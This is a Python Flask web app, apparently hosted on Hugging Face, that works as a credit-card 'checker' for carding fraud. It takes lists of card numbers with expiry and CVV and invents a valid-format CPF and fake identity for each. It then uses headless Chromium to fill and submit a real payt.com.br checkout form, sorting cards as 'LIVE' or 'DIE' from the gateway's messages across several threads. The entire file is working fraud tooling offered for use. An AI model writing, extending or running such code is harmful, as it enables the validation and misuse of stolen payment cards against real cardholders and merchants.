Checkerv5 / app.py
Cauanne's picture
Upload 4 files
2f844d8 verified
Raw
History Blame Contribute Delete
16.9 kB
from flask import Flask, render_template, request, jsonify
from flask_socketio import SocketIO, emit
from playwright.sync_api import sync_playwright
import random
import time
import os
import re
import requests
from datetime import datetime
import threading
app = Flask(__name__, template_folder='templates', static_folder='static')
app.config['SECRET_KEY'] = 'supersecret!'
socketio = SocketIO(app, cors_allowed_origins="*")
# --- Classe PaytChecker adaptada para a web ---
class cores:
VERDE = '\033[92m'
VERMELHO = '\033[91m'
AZUL = '\033[94m'
AMARELO = '\033[93m'
RESET = '\033[0m'
class PaytChecker:
def __init__(self, sid=None):
self.HEADLESS = True # Sempre headless em ambiente de servidor
self.BASE_URL = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
self.lives = 0
self.dies = 0
self.errors = 0
self.total_checked = 0
self.stop_flag = False
self.sid = sid # Para enviar mensagens para um cliente específico
self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
def emit_to_client(self, event, data):
if self.sid:
socketio.emit(event, data, room=self.sid)
else:
print(f"[SERVER] {event}: {data}")
def gerar_cpf_valido(self):
while True:
cpf = [random.randint(0, 9) for _ in range(9)]
soma = sum((i + 2) * cpf[8 - i] for i in range(9))
digito1 = 11 - (soma % 11)
if digito1 >= 10: digito1 = 0
cpf.append(digito1)
soma = sum((i + 2) * cpf[9 - i] for i in range(10))
digito2 = 11 - (soma % 11)
if digito2 >= 10: digito2 = 0
cpf.append(digito2)
cpf_str = ''.join(str(d) for d in cpf)
if cpf_str not in ['00000000000', '11111111111', '22222222222', '33333333333',
'44444444444', '55555555555', '66644444444', '77777777777',
'88888888888', '99999999999']:
return cpf_str
def gerar_dados_aleatorios(self):
primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
cpf = self.gerar_cpf_valido()
nome_email = nome.split()[0].lower()
nome_email = re.sub(r'[^a-z]', '', nome_email)
email = f"{nome_email}{random.randint(1, 99999)}{random.choice(self.provedores_email)}"
telefone = f"{random.randint(11, 99)}{random.randint(900000000, 999999999)}"
return {
'nome': nome,
'nome_cartao': nome.upper(),
'cpf': cpf,
'email': email,
'telefone': telefone
}
def gerar_dados_4devs(self):
try:
url = 'https://www.4devs.com.br/ferramentas_online.php'
payload = {
'acao': 'gerar_pessoa',
'sexo': 'I',
'pontuacao': 'S',
'idade': '0',
'cep_estado': '',
'txt_qtde': '1',
'cep_cidade': ''
}
headers = {
'Accept': '*/*',
'Accept-Language': 'pt-BR,pt;q=0.9',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://www.4devs.com.br',
'Referer': 'https://www.4devs.com.br/gerador_de_pessoas',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36'
}
response = requests.post(url, data=payload, headers=headers, timeout=10)
response.raise_for_status()
dados_json = response.json()
nome = dados_json.get('nome', '')
cpf = dados_json.get('cpf', '')
email = dados_json.get('email', '')
telefone = dados_json.get('telefone', '')
if nome and cpf and email and telefone:
self.emit_to_client('log', {'type': 'info', 'badge': '4DEVS', 'msg': f'Dados reais obtidos: {nome} | {cpf}'})
return {
'nome': nome,
'nome_cartao': nome.upper(),
'cpf': cpf,
'email': email,
'telefone': telefone
}
else:
raise ValueError("Dados incompletos retornados pela API")
except Exception as e:
self.emit_to_client('log', {'type': 'warn', 'badge': '4DEVS', 'msg': f'Falha ao obter dados reais: {e}. Usando fallback aleatório.'})
return self.gerar_dados_aleatorios()
def preencher_campos(self, page, dados, numero, mes, ano, cvv):
page.fill('#full_name', dados['nome'])
page.fill('#email', dados['email'])
page.fill('#phone', dados['telefone'])
page.fill('#cpf_cnpj', dados['cpf'])
page.evaluate("window.scrollBy(0, 400)")
time.sleep(0.3)
page.fill('#cardNumber', numero)
page.fill('#cardName', dados['nome_cartao'])
page.fill('#cardDueDate', f"{mes}{ano}")
page.fill('#cardCvv', cvv)
page.evaluate("window.scrollBy(0, 200)")
time.sleep(0.3)
def clicar_botao(self, page):
time.sleep(0.5)
seletores = ['button:has-text("Confirmar Pagamento")', 'button:has-text("Confirmar")',
'button[type="submit"]', '.btn-primary']
for seletor in seletores:
try:
if page.locator(seletor).count() > 0:
btn = page.locator(seletor).first
if btn.is_visible():
btn.scroll_into_view_if_needed()
btn.click(force=True)
return True
except: continue
return False
def classificar_retorno(self, mensagem):
termos_live = [
"Sua compra ainda não foi finalizada",
"Saldo insuficiente, aumente seu limite e realize a compra.",
"Não pudemos processar seu pagamento, entre em contato com o suporte.",
"Verifique os dados do seu cartão e tente novamente"
]
termos_die = [
"Revise os dados do cartão e tente novamente.",
"Não conseguimos processar seu pagamento, tente novamente mais tarde."
]
for termo in termos_live:
if termo.lower() in mensagem.lower():
return "LIVE"
for termo in termos_die:
if termo.lower() in mensagem.lower():
return "DIE"
return "DIE"
def capturar_retorno(self, page):
time.sleep(2)
for tentativa in range(60):
if self.stop_flag: return "STOPPED", "Processamento interrompido"
time.sleep(1)
url = page.url
if "obrigado" in url or "success" in url:
return "LIVE", "Pagamento aprovado com sucesso!"
try:
msg = page.locator('//*[@id="app"]/nav/div/p')
if msg.count() > 0:
texto = msg.first.text_content()
if texto and len(texto.strip()) > 5:
texto_completo = texto.strip()
resultado = self.classificar_retorno(texto_completo)
return resultado, texto_completo
except: pass
try:
container = page.locator('//*[@id="app"]/nav/div')
if container.count() > 0:
texto = container.first.text_content()
if texto and len(texto.strip()) > 5:
texto = re.sub(r'Algo deu errado|Atualizar|Confirmar|Continuar|Parcelas|Voltar', '', texto)
texto_completo = ' '.join(texto.split())
if len(texto_completo) > 5:
resultado = self.classificar_retorno(texto_completo)
return resultado, texto_completo
except: pass
try:
body = page.locator('body').text_content()
mensagens = [
"Sua compra ainda não foi finalizada",
"Saldo insuficiente, aumente seu limite e realize a compra.",
"Não pudemos processar seu pagamento, entre em contato com o suporte.",
"Verifique os dados do seu cartão e tente novamente",
"Revise os dados do cartão e tente novamente.",
"Não conseguimos processar seu pagamento, tente novamente mais tarde."
]
for msg in mensagens:
if msg.lower() in body.lower():
resultado = self.classificar_retorno(msg)
return resultado, msg
except: pass
if (tentativa + 1) % 10 == 0:
self.emit_to_client('log', {'type': 'info', 'badge': 'WAIT', 'msg': f'Aguardando... {tentativa+1}/60'})
return "DIE", "Timeout - Sem resposta da gateway"
def testar_cartao(self, cartao, i, total, thread_id):
if self.stop_flag: return
partes = cartao.split('|')
if len(partes) != 4:
self.errors += 1
self.total_checked += 1
self.emit_to_client('log', {'type': 'erro', 'badge': 'FORMAT', 'card': cartao, 'msg': 'Formato de cartão inválido', 'slot': thread_id})
self.update_stats(total)
return
numero, mes, ano, cvv = partes
ano = ano[-2:] if len(ano) == 4 else ano
dados = self.gerar_dados_4devs()
inicio = time.time()
try:
with sync_playwright() as p:
browser = p.chromium.launch(headless=self.HEADLESS, args=['--no-sandbox', '--disable-setuid-sandbox'])
context = browser.new_context(viewport={'width': 1366, 'height': 768})
page = context.new_page()
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'active', 'card': cartao})
page.goto(self.BASE_URL, wait_until='domcontentloaded')
time.sleep(1.5)
self.preencher_campos(page, dados, numero, mes, ano, cvv)
if not self.clicar_botao(page):
self.errors += 1
self.total_checked += 1
self.emit_to_client('log', {'type': 'erro', 'badge': 'CLICK', 'card': cartao, 'msg': 'Não foi possível clicar no botão de pagamento', 'slot': thread_id})
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao})
self.update_stats(total)
browser.close()
return
status, mensagem = self.capturar_retorno(page)
segundos = round(time.time() - inicio, 1)
if status == "LIVE":
self.lives += 1
self.emit_to_client('log', {'type': 'live', 'badge': 'LIVE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
self.emit_to_client('live_card', {'card': cartao, 'msg': mensagem, 'tempo': segundos})
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-live', 'card': cartao})
elif status == "DIE":
self.dies += 1
self.emit_to_client('log', {'type': 'die', 'badge': 'DIE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-die', 'card': cartao})
elif status == "STOPPED":
self.emit_to_client('log', {'type': 'info', 'badge': 'STOP', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': cartao})
browser.close()
return
browser.close()
except Exception as e:
self.errors += 1
self.emit_to_client('log', {'type': 'erro', 'badge': 'ERROR', 'card': cartao, 'msg': f'Erro inesperado: {e}', 'slot': thread_id})
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao})
finally:
self.total_checked += 1
self.update_stats(total)
def update_stats(self, total_cards):
self.emit_to_client('update_stats', {
'lives': self.lives,
'dies': self.dies,
'errors': self.errors,
'total': total_cards,
'checked': self.total_checked
})
if self.total_checked == total_cards:
self.emit_to_client('process_complete', {'lives': self.lives, 'dies': self.dies, 'errors': self.errors})
self.emit_to_client('set_ui', {'on': False})
# --- Rotas Flask e Socket.IO ---
@app.route('/')
def index():
return render_template('index.html')
processing_threads = []
stop_event = threading.Event()
@socketio.on('connect')
def test_connect():
print(f'Client connected: {request.sid}')
emit('my response', {'data': 'Connected'}) # Pode ser removido se não for usado
@socketio.on('disconnect')
def test_disconnect():
print(f'Client disconnected: {request.sid}')
@socketio.on('start_process')
def start_process(data):
global processing_threads
global stop_event
if processing_threads and any(t.is_alive() for t in processing_threads):
emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Processo já em execução.'})
return
cards_raw = data['cards']
num_threads = int(data['threads'])
client_sid = request.sid
cards = [line.strip() for line in cards_raw.split('\n') if line.strip() and '|' in line.strip()]
total_cards = len(cards)
if not cards:
emit('log', {'type': 'erro', 'badge': 'SERVER', 'msg': 'Nenhum cartão válido fornecido.'})
emit('set_ui', {'on': False})
return
emit('set_ui', {'on': True})
emit('log', {'type': 'info', 'badge': 'SERVER', 'msg': f'Iniciando processamento de {total_cards} cartões com {num_threads} threads.'})
emit('update_stats', {'lives': 0, 'dies': 0, 'errors': 0, 'total': total_cards, 'checked': 0})
checker = PaytChecker(sid=client_sid)
stop_event.clear() # Limpa o evento de parada para um novo processamento
processing_threads = []
cards_per_thread = (total_cards + num_threads - 1) // num_threads
def worker(cards_chunk, thread_id, total_cards_overall):
for i, card in enumerate(cards_chunk):
if stop_event.is_set():
checker.emit_to_client('log', {'type': 'info', 'badge': 'THREAD', 'msg': f'Thread {thread_id+1} interrompida.', 'slot': thread_id})
break
checker.testar_cartao(card, checker.total_checked + 1, total_cards_overall, thread_id)
time.sleep(0.5) # Pequeno delay entre os cartões para evitar sobrecarga
checker.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': ''})
for i in range(num_threads):
start_idx = i * cards_per_thread
end_idx = min((i + 1) * cards_per_thread, total_cards)
chunk = cards[start_idx:end_idx]
if chunk:
thread = threading.Thread(target=worker, args=(chunk, i, total_cards))
processing_threads.append(thread)
thread.start()
@socketio.on('stop_process')
def stop_process():
global stop_event
stop_event.set() # Sinaliza para as threads pararem
emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Sinal de parada enviado. Aguardando threads finalizarem...'})
emit('set_ui', {'on': False})
@app.route('/api/download/lives')
def download_lives():
# Implementar a lógica de download de lives, se necessário
# Por enquanto, retorna um arquivo vazio ou uma mensagem de erro
return "Funcionalidade de download de lives não implementada ainda.", 501
if __name__ == '__main__':
# Porta 7860 é obrigatória para o Hugging Face Spaces
socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)